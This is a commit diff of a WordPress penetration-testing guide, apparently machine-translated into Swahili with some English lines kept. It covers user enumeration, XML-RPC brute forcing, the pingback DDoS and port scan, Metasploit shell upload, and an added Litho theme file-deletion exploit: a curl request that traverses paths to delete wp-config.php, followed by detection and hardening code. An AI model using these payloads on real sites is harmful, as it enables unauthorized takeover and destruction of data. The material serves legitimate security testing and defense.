Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-05 02:56:18 +00:00
parent 9f5b2ccebc
commit 664904e922

View File

@ -5,48 +5,48 @@
## Basic Information
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** hivyo ikiwa unabadilisha baadhi ya php ya mandhari kupata RCE, huenda ukatumia njia hiyo. Kwa mfano: Kutumia **theme twentytwelve** unaweza **access** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Themes files can be found in /wp-content/themes/,** hivyo ukibadilisha baadhi ya php ya mandhari kupata RCE huenda utatumia njia hiyo. Kwa mfano: Kutumia **theme twentytwelve** unaweza **access** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Katika **wp-config.php** unaweza kupata nenosiri la mzizi la database.
- Njia za kuingia za default za kuangalia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Katika **wp-config.php** unaweza kupata nenosiri la msingi la database.
- Njia za kuingia za kawaida za kuangalia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
- `index.php`
- `license.txt` ina taarifa muhimu kama toleo la WordPress lililosakinishwa.
- `wp-activate.php` inatumika kwa mchakato wa uanzishaji wa barua pepe wakati wa kuanzisha tovuti mpya ya WordPress.
- Folda za kuingia (zinaweza kubadilishwa jina ili kuficha):
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kuhamasishwa kwa HTTP ikifanya kama njia ya usafirishaji na XML kama njia ya usimbuaji. Aina hii ya mawasiliano imebadilishwa na [REST API](https://developer.wordpress.org/rest-api/reference) ya WordPress.
- Folda ya `wp-content` ndiyo directory kuu ambapo plugins na mandhari zinahifadhiwa.
- `wp-content/uploads/` Ni directory ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.
- `wp-includes/` Hii ni directory ambapo faili za msingi zinahifadhiwa, kama vyeti, fonti, faili za JavaScript, na vidandaji.
- `wp-sitemap.xml` Katika toleo za WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa kwa umma na taxonomies.
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
**Post exploitation**
- Faili ya `wp-config.php` ina taarifa zinazohitajika na WordPress kuungana na database kama jina la database, mwenyeji wa database, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambatisho cha jedwali la database. Faili hii ya usanidi pia inaweza kutumika kuanzisha hali ya DEBUG, ambayo inaweza kuwa na manufaa katika kutatua matatizo.
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
### Users Permissions
- **Administrator**
- **Editor**: Chapisha na simamia machapisho yake na ya wengine
- **Author**: Chapisha na simamia machapisho yake mwenyewe
- **Contributor**: Andika na simamia machapisho yake lakini hawezi kuyachapisha
- **Subscriber**: Angalia machapisho na hariri wasifu wao
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
## **Passive Enumeration**
### **Get WordPress version**
Angalia ikiwa unaweza kupata faili `/license.txt` au `/readme.html`
Check if you can find the files `/license.txt` or `/readme.html`
Ndani ya **source code** ya ukurasa (mfano kutoka [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -77,13 +77,13 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Uainishaji wa Kazi
## Active enumeration
### Plugins na Mandhari
### Plugins and Themes
Huenda usiweze kupata Plugins na Mandhari zote zinazowezekana. Ili kugundua zote, utahitaji **kufanya Brute Force kwa orodha ya Plugins na Mandhari** (tunatumai kwetu kuna zana za kiotomatiki zinazoshikilia orodha hizi).
Huenda usiweze kupata Plugins na Themes zote zinazowezekana. Ili kugundua zote, utahitaji **kufanya Brute Force kwa orodha ya Plugins na Themes** (tunatumai kwetu kuna zana za kiotomatiki zinazoshikilia orodha hizi).
### Watumiaji
### Users
- **ID Brute:** Unapata watumiaji halali kutoka kwa tovuti ya WordPress kwa kufanya Brute Force kwa IDs za watumiaji:
```bash
@ -95,7 +95,7 @@ Ikiwa majibu ni **200** au **30X**, hiyo ina maana kwamba id ni **halali**. Ikiw
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Nyingine `/wp-json/` kiunganishi ambacho kinaweza kufichua taarifa kuhusu watumiaji ni:
Mwingine `/wp-json/` kiunganishi ambacho kinaweza kufichua taarifa kuhusu watumiaji ni:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
@ -103,11 +103,11 @@ Kumbuka kwamba kipengele hiki kinatoa tu watumiaji ambao wamefanya chapisho. **T
Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza kuvuja anwani za IP.
- **Uainishaji wa jina la mtumiaji wa kuingia**: Wakati wa kuingia katika **`/wp-login.php`** ujumbe ni **tofauti** ikiwa **jina la mtumiaji lililoonyeshwa lipo au la**.
- **Uainishaji wa jina la mtumiaji wa kuingia**: Wakati wa kuingia katika **`/wp-login.php`** ujumbe ni **tofauti** ikiwa **jina la mtumiaji lililotajwa lipo au la**.
### XML-RPC
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya brute-force ya akidi au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
Ikiwa `xml-rpc.php` inafanya kazi unaweza kufanya nguvu za kuingia au kuitumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kuendesha mchakato huu [ukitumia hii](https://github.com/relarizky/wpxploit) kwa mfano).
Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hili:
@ -134,7 +134,7 @@ Ili kuona ikiwa inafanya kazi jaribu kufikia _**/xmlrpc.php**_ na kutuma ombi hi
```
Ujumbe _"Jina la mtumiaji au nenosiri si sahihi"_ ndani ya jibu la msimbo 200 unapaswa kuonekana ikiwa akidi haziko sahihi.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
@ -168,18 +168,18 @@ Kwa kutumia akidi sahihi unaweza kupakia faili. Katika jibu, njia itaonekana ([h
</params>
</methodCall>
```
Pia kuna njia **ya haraka** ya kujaribu nguvu za kuingia kwa kutumia **`system.multicall`** kwani unaweza kujaribu akauti kadhaa kwenye ombi moja:
Pia kuna **njia ya haraka** ya kujaribu nguvu za kuingia kwa kutumia **`system.multicall`** kwani unaweza kujaribu akauti kadhaa kwenye ombi moja:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Kupita 2FA**
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, hivyo haitegemei 2FA. Hivyo, ikiwa una akauti halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **unaweza kuwa na uwezo wa kutumia xmlrpc.php kuingia na akauti hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, kwa hivyo haitegemei 2FA. Hivyo, ikiwa una akauti halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na akauti hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS au skanning ya port**
Ikiwa unaweza kupata njia _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa mwenyeji/port yoyote.\
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** lo **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria port yoyote).
Hii inaweza kutumika kuomba **maelfu** ya **tovuti** za Wordpress **kuingia** kwenye **mahali** moja (hivyo **DDoS** inasababishwa katika mahali hapo) au unaweza kuitumia kufanya **Wordpress** i **scan** baadhi ya **mtandao** wa ndani (unaweza kuashiria port yoyote).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -229,7 +229,7 @@ Hii ndiyo jibu wakati haifanyi kazi:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Chombo hiki kinachunguza ikiwa **methodName: pingback.ping** na kwa njia **/wp-json/oembed/1.0/proxy** na ikiwa inapatikana, inajaribu kuzi exploit.
Chombo hiki kinakagua ikiwa **methodName: pingback.ping** na kwa njia **/wp-json/oembed/1.0/proxy** na ikiwa inapatikana, inajaribu kuifanyia shambulio.
## Vifaa vya Moja kwa Moja
```bash
@ -239,14 +239,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Pata ufikiaji kwa kubadilisha kidogo
Zaidi ya shambulio halisi, hii ni udadisi. Kwenye CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha kidogo 1 kutoka kwa faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili NOP operesheni ya NOT (`!`).
Zaidi ya shambulio halisi, hii ni udadisi. Katika CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha kidogo 1 kutoka kwa faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili NOP operesheni ya NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Kubadilisha php kutoka kwa mandhari iliyotumika (nywila za admin zinahitajika)**
**Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)**
Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kushoto)
@ -258,7 +258,7 @@ Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii, un
### MSF
Unaweza kutumia:
You can use:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
@ -285,11 +285,11 @@ Bonyeza Procced:
![](<../../images/image (70).png>)
Labda hii haitafanya chochote kwa kuonekana, lakini ukitembelea Media, utaona shell yako imepakuliwa:
Labda hii haitafanya chochote kwa wazi, lakini ukitembelea Media, utaona shell yako imepakuliwa:
![](<../../images/image (462).png>)
Fikia na utaona URL ya kutekeleza reverse shell:
Fikia hiyo na utaona URL ya kutekeleza reverse shell:
![](<../../images/image (1006).png>)
@ -300,25 +300,25 @@ Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na in
1. **Plugin Acquisition**: Plugin inapatikana kutoka chanzo kama Exploit DB kama [**hapa**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Tembelea dashibodi ya WordPress, kisha nenda kwa `Dashboard > Plugins > Upload Plugin`.
- Pakia faili ya zip ya plugin iliyopakuliwa.
- Pakia faili ya zip ya plugin uliyopakua.
3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuamshwa kupitia dashibodi.
4. **Exploitation**:
- Ikiwa plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
- Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwa tovuti.
- Inabainishwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
Maudhui yanajumuisha msaada wa kuona unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.
Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa penye kwa idhini wazi.
**Kwa hatua za kina zaidi angalia:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki kipande**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
- _**Privilege Escalation:**_ Kuunda mtumiaji katika WordPress.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
- _**Privilege Escalation:**_ Inaunda mtumiaji katika WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwenye WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Kijengwa ndani katika WordPress.
- _**(RCE) Built-In Theme Edit:**_ Hariri Mandhari za Kijengwa ndani katika WordPress.
- _**(Custom) Custom Exploits:**_ Exploits za Kawaida kwa Plugins/Mandhari za Tatu za WordPress.
- _**(Custom) Custom Exploits:**_ Udhihirisho wa Kawaida kwa Plugins/Mandhari za Tatu za WordPress.
## Post Exploitation
@ -338,17 +338,17 @@ Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata ud
- **`wp_ajax`**
Moja ya njia ambazo plugin inaweza kufichua kazi kwa watumiaji ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali nafasi yake).
Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali jukumu lake).
Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Matumizi ya `nopriv` yanaufanya mwisho uweze kupatikana na watumiaji wowote (hata wasio na uthibitisho).**
**Matumizi ya `nopriv` yanaufanya mwisho uweze kufikiwa na watumiaji wowote (hata wasio na uthibitisho).**
> [!CAUTION]
> Zaidi ya hayo, ikiwa kazi inachunguza tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inachunguza tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
> Zaidi ya hayo, ikiwa kazi inakagua tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inakagua tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
- **REST API**
@ -362,19 +362,95 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` ni callback kwa kazi inayokagua kama mtumiaji aliyepewa ruhusa kuita njia ya API.
`permission_callback` ni callback kwa kazi inayokagua kama mtumiaji aliyepewa ruhusa kuita njia ya API.
**Ikiwa kazi ya ndani `__return_true` inatumika, itakosa tu kukagua ruhusa za mtumiaji.**
- **Upatikanaji wa moja kwa moja wa faili ya php**
- **Upatikanaji wa moja kwa moja wa faili la php**
Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kutoka mtandao. Hivyo, katika kesi plugin inayoonyesha kazi yoyote dhaifu inayoweza kuanzishwa kwa kuingia tu kwenye faili, itakuwa rahisi kutumiwa na mtumiaji yeyote.
Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kutoka mtandaoni. Hivyo, ikiwa plugin inatoa kazi yoyote dhaifu inayoweza kuanzishwa kwa kuingia tu kwenye faili, itakuwa rahisi kutumiwa na mtumiaji yeyote.
### Kufuta Faili za Kijakazi zisizo na Uthibitisho kupitia wp_ajax_nopriv (Litho Theme <= 3.0)
Mandhari na plugins za WordPress mara nyingi huweka wakala wa AJAX kupitia viunganishi vya `wp_ajax_` na `wp_ajax_nopriv_`. Wakati toleo la **_nopriv_** linapotumika **callback inapatikana kwa wageni wasio na uthibitisho**, hivyo hatua yoyote nyeti lazima pia iwe na:
1. Ukaguzi wa **uwezo** (mfano `current_user_can()` au angalau `is_user_logged_in()`), na
2. **CSRF nonce** iliyothibitishwa na `check_ajax_referer()` / `wp_verify_nonce()`, na
3. **Usafi wa ingizo / uthibitisho mkali**.
Mandhari ya Litho ya matumizi mengi (< 3.1) ilisahau udhibiti hao 3 katika kipengele cha *Remove Font Family* na ikamaliza kutuma msimbo ufuatao (uliopunguzika):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Masuala yaliyoanzishwa na kipande hiki:
* **Upatikanaji usio na uthibitisho** kiunganishi `wp_ajax_nopriv_` kimeandikishwa.
* **Hakuna nonce / ukaguzi wa uwezo** mtembezi yeyote anaweza kufikia mwisho huo.
* **Hakuna usafi wa njia** mfuatiliaji wa mtumiaji `fontfamily` unachanganywa na njia ya mfumo wa faili bila kuchujwa, kuruhusu usafiri wa jadi `../../`.
#### Utekelezaji
Mshambuliaji anaweza kufuta faili au saraka yoyote **chini ya saraka ya msingi ya uploads** (kawaida `<wp-root>/wp-content/uploads/`) kwa kutuma ombi moja la HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Kwa sababu `wp-config.php` iko nje ya *uploads*, mfuatano wa `../` nne unatosha kwenye usakinishaji wa kawaida. Kufuta `wp-config.php` kunalazimisha WordPress kuingia kwenye *installation wizard* kwenye ziara inayofuata, na kuwezesha kuchukua tovuti kwa ukamilifu (mshambuliaji anatoa tu usanidi mpya wa DB na kuunda mtumiaji wa admin).
Malengo mengine yenye athari ni pamoja na faili za plugin/temu za `.php` (kuvunja plugins za usalama) au sheria za `.htaccess`.
#### Orodha ya kugundua
* Kila `add_action( 'wp_ajax_nopriv_...')` callback inayopiga simu kwa wasaidizi wa mfumo wa faili (`copy()`, `unlink()`, `$wp_filesystem->delete()`, n.k.).
* Kuunganisha pembejeo za mtumiaji zisizoshughulikiwa katika njia (angalia `$_POST`, `$_GET`, `$_REQUEST`).
* Kukosekana kwa `check_ajax_referer()` na `current_user_can()`/`is_user_logged_in()`.
#### Kuimarisha
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Daima** chukulia operesheni yoyote ya kuandika/kufuta kwenye diski kama yenye mamlaka na hakiki mara mbili:
> • Uthibitishaji • Uidhinishaji • Nonce • Usafi wa ingizo • Kuweka njia (kwa mfano kupitia `realpath()` pamoja na `str_starts_with()`).
---
## Ulinzi wa WordPress
### Sasisho za Kawaida
Hakikisha WordPress, plugins, na mandhari ziko katika hali ya kisasa. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:
Hakikisha WordPress, plugins, na mandhari ziko kwenye toleo la kisasa. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -392,8 +468,12 @@ Pia, **sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika**.
- Ondoa mtumiaji wa **admin** wa kawaida
- Tumia **nywila zenye nguvu** na **2FA**
- Kila wakati **kagua** ruhusa za watumiaji
- Mara kwa mara **kagua** ruhusa za watumiaji
- **Punguza majaribio ya kuingia** ili kuzuia mashambulizi ya Brute Force
- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.
## Marejeleo
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
{{#include ../../banners/hacktricks-training.md}}